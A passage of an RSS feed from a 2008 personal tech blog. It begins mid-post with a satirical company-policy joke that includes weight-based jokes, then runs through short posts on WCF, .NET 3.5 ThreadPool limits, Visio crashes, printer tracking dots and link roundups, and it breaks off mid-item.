Each employee will receive 52 annual leave days a year they are called Sunday.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lunch Break:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Skinny people get 30 minutes for lunch as they need to eat more so that they can look healthy.&lt;/li&gt;
&lt;li&gt;Normal size people get 15 minutes for lunch to get a balanced meal to maintain their average figure.&lt;/li&gt;
&lt;li&gt;Fat people get 5 minutes for lunch, because that&amp;rsquo;s all the time needed to drink a slim fast and take diet pill.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Sick Days:&lt;/strong&gt;&lt;br&gt;
We will no longer accept a doctor medical certificate as proof of sickness. If you are able to go to the doctor, you are able to come to work.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Toilet Use:&lt;/strong&gt;&lt;br&gt;
Entirely too much time is being spent in the toilets&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There is now a strict 3-minute time limit in the cubicles. At the end of three minutes, an alarm will sound, the toilet paper roll will retract, the door will open and a picture will be taken.&lt;/li&gt;
&lt;li&gt;After your second offence, your picture will be posted on the company bulletin board under the &amp;ldquo;chronic offenders&amp;rdquo; category.&lt;/li&gt;
&lt;li&gt;Subsequent pictures will be sold at public auctions to raise money to pay your salary.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Surgery:&lt;/strong&gt;&lt;br&gt;
As long as you are an employee here, you need all your organs. You should not consider removing anything. We hired you intact. To have something removed constitutes a breach of employment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Internet Usage:&lt;/strong&gt;&lt;br&gt;
All personal Internet usage will be recorded and charges will be deducted from your bonus (if any) and if we decide not to give you any, charges will be deducted from your salary. (Note: $ 5 Per Minute As We Have 4MB connection). Just for the record. 73% of the staff will not be entitled to any salary for the next 3 months as their Internet charges have exceeded their 3 months salary.&lt;/p&gt;
&lt;p&gt;Thank you for your loyalty to our company. We are here to provide a positive employment experience.&lt;/p&gt;
&lt;p&gt;Therefore, all questions, comments, concerns, complaints, frustrations, irritations, aggravations, insinuations, allegations, accusations, contemplation, consternation and input should be directed elsewhere.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5196&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Macbook Air vs. Lenovo Ultraportal</title>
      <link>/post/2008/05/macbook-air-vs-lenovo-ultraportal/</link>
      <pubDate>Thu, 01 May 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/05/macbook-air-vs-lenovo-ultraportal/</guid>
      <description>&lt;p&gt;Macbook Air vs. Lenovo Ultraportal&lt;/p&gt;
&lt;p&gt;(via Cuan)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5195&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>My Book on Google Books</title>
      <link>/post/2008/04/my-book-on-google-books/</link>
      <pubDate>Tue, 22 Apr 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/04/my-book-on-google-books/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://www.apress.com/book/view/1590597028&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		My Book on WCF
	&lt;/span&gt;
&lt;/a&gt; is now available on &lt;a
	
		href = &#34;http://books.google.co.uk/books?hl=en&amp;amp;id=fDykmoWpjzEC&amp;amp;d&amp;amp;printsec=frontcover&amp;amp;source=web&amp;amp;ots=XW-U-x68xr&amp;amp;sig=4nSkE2xFV4YrYFaMUCJrZKCbvZs#PPP21,M1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Google Books
	&lt;/span&gt;
&lt;/a&gt; - perfect for those of you who don&amp;rsquo;t want to &lt;a
	
		href = &#34;http://www.amazon.com/Pro-WCF-Practical-Microsoft-Implementation/dp/1590597028/ref=pd_bbs_sr_1?ie=UTF8&amp;amp;s=books&amp;amp;qid=1208891113&amp;amp;sr=8-1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		buy the book
	&lt;/span&gt;
&lt;/a&gt; to support a few starving authors 😜.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Visio 2007 Rant</title>
      <link>/post/2008/04/visio-2007-rant/</link>
      <pubDate>Wed, 02 Apr 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/04/visio-2007-rant/</guid>
      <description>&lt;p&gt;I have been seeing some unexpected application crashes with Visio 2007 and they usually happen when I close the application. I do have Office 2007 SP1 installed but that does not seem to have fixed any of them. The error seems to relate to one the COM add-ins but disabling that does not seem to resolve the problem.&lt;/p&gt;
&lt;p&gt;This particular error was a new one for me. After doing a lot of work on a Architecture document - when trying to save the document (for the first time) I see this error - not only is it not very inspiring but also scared the living daylights out of me.&lt;/p&gt;
&lt;p&gt;I am quite skeptical now of using Visio 2007 👎&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://bahree.com/amit/blog_images/VisioError_9708/image.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;PS - I was able to recover diagram and did not lose much.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #11</title>
      <link>/post/2008/03/interesting-find-11/</link>
      <pubDate>Wed, 12 Mar 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/03/interesting-find-11/</guid>
      <description>&lt;ol&gt;
&lt;li&gt;.NET v3.5 &lt;a
	
		href = &#34;http://weblogs.asp.net/scottgu/archive/2008/02/19/net-3-5-client-product-roadmap.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Product Roadmap
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Information overload in Outlook? Check out &lt;a
	
		href = &#34;http://www.clearcontext.com/index.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		ClearContext
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://www.jello-dashboard.net/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Jello.Dashboard
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Nokia&amp;rsquo;s nano-technology based &lt;a
	
		href = &#34;http://www.youtube.com/watch?v=IX-gTobCJHs&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Morph Concept
	&lt;/span&gt;
&lt;/a&gt; - very interesting on where we might be heading! Oh how I am envious of our future generation. 😄&lt;/li&gt;
&lt;li&gt;Although SQL 2008 &lt;a
	
		href = &#34;https://www.microsoft.com/sqlserver/2008/en/us/benchmarks.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		benchmarks are out
	&lt;/span&gt;
&lt;/a&gt; and quite impressive; if you want to run the CTP before March, it seems &lt;a
	
		href = &#34;http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=2926500&amp;amp;SiteID=1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		you cannot
	&lt;/span&gt;
&lt;/a&gt; - lol!  What is MS thinking? Duh!&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.itu.dk/research/c5/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		C5
	&lt;/span&gt;
&lt;/a&gt; - Generic Collection Library&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.hanselman.com/blog/VisualStudioProgrammerThemesGallery.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Visual Studio themes
	&lt;/span&gt;
&lt;/a&gt;; I personally like a few of the dark themes.&lt;/li&gt;
&lt;li&gt;Migrating to gmail &lt;a
	
		href = &#34;http://code.google.com/p/google-email-uploader/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		becomes easier
	&lt;/span&gt;
&lt;/a&gt; from Outlook, PST files, etc.&lt;/li&gt;
&lt;li&gt;However, if you want to backup your gmail (why you would want to do in the first place is besides me), and want want to use &lt;a
	
		href = &#34;http://www.brothersoft.com/g-archiver-58027.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		G-Archiver
	&lt;/span&gt;
&lt;/a&gt;, then do so at &lt;a
	
		href = &#34;http://www.codinghorror.com/blog/archives/001072.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;strong&gt;your own peril!!!&lt;/strong&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Tools galore - check out &lt;a
	
		href = &#34;http://www.hanselman.com/tools&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Hanselman Ultimate Tools List
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>&lt;configSections&gt; blues</title>
      <link>/post/2008/03/configsections-blues/</link>
      <pubDate>Fri, 07 Mar 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/03/configsections-blues/</guid>
      <description>&lt;p&gt;This stumped me for a while and I was not sure what I was doing wrong. Apparently it seems if you don&amp;rsquo;t have the &lt;code&gt;&amp;lt;configSections&amp;gt;&lt;/code&gt; element in your app config file as the &lt;em&gt;first thing&lt;/em&gt; then you get a weird error saying &lt;code&gt;&amp;quot;Only one &amp;lt;configSections&amp;gt; element allowed ....&amp;quot;&lt;/code&gt; (see example below). The description is misleading - you will see this error even though you only have one &lt;code&gt;&amp;lt;configSections&amp;gt;&lt;/code&gt; element in your config file. To fix this, move the &lt;code&gt;&amp;lt;configSections&amp;gt;&lt;/code&gt; as the first element in your app config file and all will be well.&lt;/p&gt;
&lt;p&gt;Example error:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;{&amp;quot;Only one &amp;lt;configSections&amp;gt; element allowed per config file and if present must be the first child of the root &amp;lt;configuration&amp;gt; element. (C:\src\MyCallApp\VOIPCall\bin\Debug\VOIPCall.vshost.exe.config line 10)&amp;quot;}&lt;/code&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>I hate Cats</title>
      <link>/post/2008/03/i-hate-cats/</link>
      <pubDate>Fri, 07 Mar 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/03/i-hate-cats/</guid>
      <description>&lt;p&gt;Need I &lt;a
	
		href = &#34;http://www.skipmorrow.com/html/galleries/cats-frameset.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		say more
	&lt;/span&gt;
&lt;/a&gt;? &lt;p&gt;

    &lt;img src=&#34;images/emotion-2.gif&#34; alt=&#34;Big Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;{via &lt;a
	
		href = &#34;http://blog.thedogmatix.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		thedogmatix
	&lt;/span&gt;
&lt;/a&gt;}&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5189&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The Printer Spy - tiny tracking dots on your printout!</title>
      <link>/post/2008/03/the-printer-spy-tiny-tracking-dots-on-your-printout/</link>
      <pubDate>Fri, 07 Mar 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/03/the-printer-spy-tiny-tracking-dots-on-your-printout/</guid>
      <description>&lt;p&gt;This is scary! It seems like your printer is spying on you using tiny tracking dots which are automatically printed whenever you take a print out. Of course these dots are unique and can be tracked to your individual printer and are not visible to the naked eye (otherwise you won&amp;rsquo;t have noticed them, innit?)&lt;/p&gt;
&lt;p&gt;The US govt. has convinced most of the printer manufacturers to add this to every page. &lt;a
	
		href = &#34;http://www.eff.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		EFF
	&lt;/span&gt;
&lt;/a&gt; highlighted &lt;a
	
		href = &#34;http://www.eff.org/issues/printers&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		the issue first
	&lt;/span&gt;
&lt;/a&gt; and had &lt;a
	
		href = &#34;http://www.eff.org/press/archives/2005/10/16&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		issued a press release
	&lt;/span&gt;
&lt;/a&gt;. Since then they have &lt;a
	
		href = &#34;http://w2.eff.org/Privacy/printers/docucolor/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		released a decoding guide
	&lt;/span&gt;
&lt;/a&gt; that you can use to figure out how to find this. They also released a &lt;a
	
		href = &#34;http://www.eff.org/pages/list-printers-which-do-or-do-not-display-tracking-dots&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		list of printers
	&lt;/span&gt;
&lt;/a&gt; which either have or don&amp;rsquo;t have the dots; and also point the fact that just a &amp;ldquo;No&amp;rdquo; does not mean there is no forensic watermarking present, it just means there could be some other kind of marking. Make sure you are consulting this list whenever you next buy your printer.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/guide.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5190&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Load testing WCF</title>
      <link>/post/2008/03/load-testing-wcf/</link>
      <pubDate>Thu, 06 Mar 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/03/load-testing-wcf/</guid>
      <description>&lt;p&gt;Someone recently asked about how to load test WCF - apart from the usual things like &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/LoadRunner&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		LoadRunner
	&lt;/span&gt;
&lt;/a&gt;, VSTS &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Visual_Studio_Team_System#Team_Test_Load_Agent&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Test Load Agent
	&lt;/span&gt;
&lt;/a&gt;, etc a couple of other interesting options came up. One is WCF Load Test and the other JMeter. &lt;a
	
		href = &#34;http://www.codeplex.com/WCFLoadTest&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		WCF Load Test
	&lt;/span&gt;
&lt;/a&gt; generates a unit test taking in data from a a &lt;a
	
		href = &#34;http://msdn2.microsoft.com/en-us/library/ms732023.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		trace file
	&lt;/span&gt;
&lt;/a&gt; along with the relevant WCF proxy or interface.&lt;/p&gt;
&lt;p&gt;I must admit, &lt;a
	
		href = &#34;http://jakarta.apache.org/jmeter/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		JMeter
	&lt;/span&gt;
&lt;/a&gt; would not have been one of the things that would have come to mind to me in this context, but technically there is nothing stopping from you using it as you can stress and load test any http request.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5186&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>P2P Programming with WCF and .NET v3.5</title>
      <link>/post/2008/03/p2p-programming-with-wcf-and-net-v3-5/</link>
      <pubDate>Thu, 06 Mar 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/03/p2p-programming-with-wcf-and-net-v3-5/</guid>
      <description>&lt;p&gt;My article on &lt;a
	
		href = &#34;http://tinyurl.com/ypqaer&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		P2P programming with WCF and .NET v3.5
	&lt;/span&gt;
&lt;/a&gt; was finally published on &lt;a
	
		href = &#34;http://msdn2.microsoft.com/en-us/library/cc268289.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		MSDN
	&lt;/span&gt;
&lt;/a&gt;. This was written a few months ago and has been going through the internal process at MS to get published- finally it is up there - better late than never I guess. 😄&lt;/p&gt;
&lt;p&gt;I discuss the new features for P2P programming in WCF and .NET 3.5 and how things have moved up the stack in being a first class managed citizen now as opposed to you. Although the code was build and run on Vista you can run most of it on XP; however some elements such as PNM, Contacts and Collaboration are Vista specific.&lt;/p&gt;
&lt;p&gt;Interestingly, you cannot download the source code for the samples and the small app that I had written - you can see the screen shots and the code snipped. If you need the complete solution let me know.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>.NET 3.5 ThreadPool increases</title>
      <link>/post/2008/03/net-3-5-threadpool-increases/</link>
      <pubDate>Tue, 04 Mar 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/03/net-3-5-threadpool-increases/</guid>
      <description>&lt;p&gt;This is probably old news now, but something which has me concerned as it can cause lots of unseen issues. In .NET 3.5 the default ThreadPool count has been increased ten-fold from 25 to 250 &lt;strong&gt;per processor per process&lt;/strong&gt;! ThreadPools as we know are quite handy - not only do they help when an application comes under load instead of adding more pressure in a stressful situation. They also allow us to readily &amp;ldquo;reach into&amp;rdquo; a pool of threads and &amp;ldquo;pick one&amp;rdquo; to use - saving the costly overhead of creating and destroying threads (in case you did not know creating and destroying threads is an expensive process).&lt;/p&gt;
&lt;p&gt;Yeah OK; so why do I care? Well, most people won&amp;rsquo;t but there are situations where this will cause unexpected behaviour and even lead to Out of Memory exceptions.&lt;/p&gt;
&lt;p&gt;Essentially each thread created takes 1 Mb of stack space. Say you are creating a server app and spawn a different thread for IO and if are running on a 8-proc Win x32 box, with this change your application will cap out now at 2000 threads (8 x 250)! With each of them taking 1 mb that is a total of 2GB - which is the total addressable space in Win x32! Ouch!&lt;/p&gt;
&lt;p&gt;Of course you can change this - for a web app this is a simple change to the web.config file; however if it is not a web app then this does require a change to the code albeit simple. So, if you suddenly start seeing out of memory exceptions, with nothing really changing, then this might be the cause.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5185&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Duty Calls</title>
      <link>/post/2008/02/duty-calls/</link>
      <pubDate>Thu, 21 Feb 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/02/duty-calls/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/duty_calls.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://imgs.xkcd.com/comics/duty_calls.png&#34;
	

	
		title = &#34;http://imgs.xkcd.com/comics/duty_calls.png&#34;
	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		http://imgs.xkcd.com/comics/duty_calls.png
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5183&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #10</title>
      <link>/post/2008/02/interesting-find-10/</link>
      <pubDate>Sat, 16 Feb 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/02/interesting-find-10/</guid>
      <description>&lt;ol&gt;
&lt;li&gt;Squeaky Geek to &lt;a
	
		href = &#34;http://www.guardian.co.uk/technology/gallery/2008/jan/31/billgates?picture=332309789&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Silicon Saint
	&lt;/span&gt;
&lt;/a&gt;; number 5 is my favourite.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.tatuagemdaboa.com.br/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Bar da Boa
	&lt;/span&gt;
&lt;/a&gt; - wait for the flash to finish loading (be patient); enter your First and Last names and click on &amp;ldquo;Visualizer&amp;rdquo; - lol.&lt;/li&gt;
&lt;li&gt;MSR&amp;rsquo;s &lt;a
	
		href = &#34;http://research.microsoft.com/users/kenh/InkSeine/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		InkSeine
	&lt;/span&gt;
&lt;/a&gt; - which allows you to find stuff with ink, seems quite handy if you use a tablet; some &lt;a
	
		href = &#34;http://arstechnica.com/journals/microsoft.ars/2008/02/10/microsoft-researchs-inkseine-coming-this-friday&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		videos here
	&lt;/span&gt;
&lt;/a&gt;; you can &lt;a
	
		href = &#34;http://research.microsoft.com/research/downloads/Details/8e67ebaf-928b-4fa3-87e6-197af00c972a/Details.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		get it here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.tsa.gov/blog/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TSA is blogging
	&lt;/span&gt;
&lt;/a&gt; - now you can vent your frustrations!&lt;/li&gt;
&lt;li&gt;In case you ever wondered, &lt;a
	
		href = &#34;http://blogs.msdn.com/dougste/archive/2006/03/14/551479.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		how ASP.NET uses memory
	&lt;/span&gt;
&lt;/a&gt;? Especially handy when one started running out of memory.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://blogs.msdn.com/pigscanfly/archive/2008/02/09/xperf-a-new-tool-in-the-windows-sdk.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Xperf
	&lt;/span&gt;
&lt;/a&gt; - a new tool in Windows SDK.&lt;/li&gt;
&lt;li&gt;Feeling nostalgic? Check out &lt;a
	
		href = &#34;http://www.scummvm.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		ScummVM
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Sony Ericsson&amp;rsquo;s new &lt;a
	
		href = &#34;http://www.reghardware.co.uk/2008/02/11/mwc_sony_ericsson_announce_xperia_x1/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows Mobile based phone
	&lt;/span&gt;
&lt;/a&gt; - quite cool.&lt;/li&gt;
&lt;li&gt;Apparently, multi-functional printers are the &lt;a
	
		href = &#34;http://www.eweek.com/c/a/Printers/Multifunction-Printers-The-Forgotten-Security-Risk/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		latest security threat
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Apparently quite a handful of people have had Vista wifi issues whereby a laptop resuming from Sleep/Hibernate cannot connect to the wifi; resetting the wireless card does not help and only a reboot fixes it. It might not be baloney and &lt;a
	
		href = &#34;http://support.microsoft.com/kb/928233&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		there is some truth
	&lt;/span&gt;
&lt;/a&gt; to the matter.&lt;/li&gt;
&lt;li&gt;Reading these real world &lt;a
	
		href = &#34;http://www.guardian.co.uk/technology/2008/feb/14/email.yahoo&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		examples of online data loss
	&lt;/span&gt;
&lt;/a&gt; (HA! it was online so you thought you won&amp;rsquo;t lose it), makes me feel quite smug about &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/tags/.whs/default.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		my WHS
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5182&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Forgetting</title>
      <link>/post/2008/02/forgetting/</link>
      <pubDate>Mon, 04 Feb 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/02/forgetting/</guid>
      <description>&lt;p&gt;Of course the assert does not work.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/forgetting.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5179&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #9</title>
      <link>/post/2008/01/interesting-find-9/</link>
      <pubDate>Wed, 30 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/interesting-find-9/</guid>
      <description>&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://synergy2.sourceforge.net/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Synergy
	&lt;/span&gt;
&lt;/a&gt; - one mouse and keyboard to control them all.&lt;/li&gt;
&lt;li&gt;50 Tips, Tweaks and Hacks to make &lt;a
	
		href = &#34;http://www.virtualhosting.com/blog/2008/50-tips-tweaks-and-hacks-to-make-the-most-of-google-calendar/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		the most of Google Calendar
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.archive.org/web/web.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Wayback Machine
	&lt;/span&gt;
&lt;/a&gt; - Browse through 85 billion web pages archived from 1996 to a few months ago. e.g. how &lt;a
	
		href = &#34;http://web.archive.org/web/19961020014044/http://www.microsoft.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Microsoft.com
	&lt;/span&gt;
